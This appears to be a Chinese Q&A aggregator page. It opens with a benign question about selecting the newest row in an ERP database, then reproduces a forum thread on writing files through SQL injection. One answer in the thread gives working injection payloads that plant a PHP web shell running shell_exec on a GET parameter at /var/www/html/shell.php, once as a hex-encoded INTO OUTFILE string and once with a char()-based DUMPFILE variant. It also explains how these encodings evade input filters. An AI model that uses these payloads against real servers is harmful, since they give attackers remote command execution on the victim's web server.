sql中如何查询刚写入数据库的东西
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql中如何查询刚写入数据库的东西相关的知识,希望对你有一定的参考价值。
我遇到一个问题,程序转入过来的数据,我需要从数据库里查询出来,但是这个转入的东西又是随时变化的,我怎么才能查询出来最近写入的第一条数据呢
由于数据库是erp的软件的数据库,我想查出最近录入的数据,做一个外接的查询程序。自动查询,如果修改数据库表结构会对软件的稳定性有影响的。我就是问一下数据库里有没有一个预设的字段查出最新的一条数据。
不知道对不对
记录上一次操作最后一条的id 然后...查询该id之后的第一条数据 参考技术B 加个批次号嘛,查最大批次号就是最近写入的第一条数据了
如何使用 SQL 注入写入文件?
【中文标题】如何使用 SQL 注入写入文件?【英文标题】:How do I write files using SQL injection? 【发布时间】:2020-01-29 07:29:38 【问题描述】:注意:查询是以登录形式而不是 url 形式编写的。
所以基本上我正在尝试为大学作业执行一些 sql 注入。我正在尝试编写一个文件,然后将该文件加载到数据库中。我的权限具有文件访问权限和几乎所有权限。托管数据库的服务器位于我正在使用的计算机外部。但是,我发现数据库的路径目录是
/var/lib/mysql
所以我想也许我可以执行以下操作将文件写入此位置。
' UNION SELECT 1, INTO OUTFILE ('/var/lib/mysql/example.txt');-- '
但是,似乎没有任何效果。
如果服务器未托管在我的计算机上(即外部),我如何编写文件。
【问题讨论】:
【参考方案1】:1.寻找mysql默认文件路径。“显示变量如'%secure%';”如果 'secure_file_priv' 不是 "/var/lib/mysql/",进入 outfile ('/var/lib/mysql/example.txt') disable.into outfile 文件路径应该是 'secure_file_priv' 路径。
secure_file_priv /var/lib/mysql-files/ 选择 1 到 OUTFILE '/var/lib/mysql-files/example.txt' 2.如果OUTFILE存在,[Err] 1086 - 文件已经存在
【讨论】:
那么为什么在 1 之后或 2 之前没有逗号?【参考方案2】:是的,您可以通过多种方式使用 SQL 注入写入文件
' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY 0x3C3F706870206563686F20223C7072653E22202E207368656C6C5F6578656328245F4745545B22636D64225D29202E20223C2F7072653E223B3F3E-- -
所以让我们稍微打破这个查询。首先,我们使用 (') 从原始查询中分离出来,然后我们告诉查询将输出发送到 /var/www/html
中名为 shell.php
的文件,在我的情况下,这是网络服务器的位置 (INTO OUTFILE '/var/www/html/shell.php')
最后,我们有一些十六进制字符可以解码为
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>";?>
这实际上是绕过某些过滤器的好方法,并且我们可以避免弄乱可能破坏查询的引号。
此外,您还可以通过其他方式写入文件,例如
'+UNION+ALL+SELECT+'',concat(char(60),'?php+echo+shell_exec($_GET["cmd"])+?',char(62))+INTO+dumpfile+'/var/www/html/test.php'+--+
通过滥用 MySql 的 char
命令来绕过 </>
限制。
【讨论】:
以上是关于sql中如何查询刚写入数据库的东西的主要内容,如果未能解决你的问题,请参考以下文章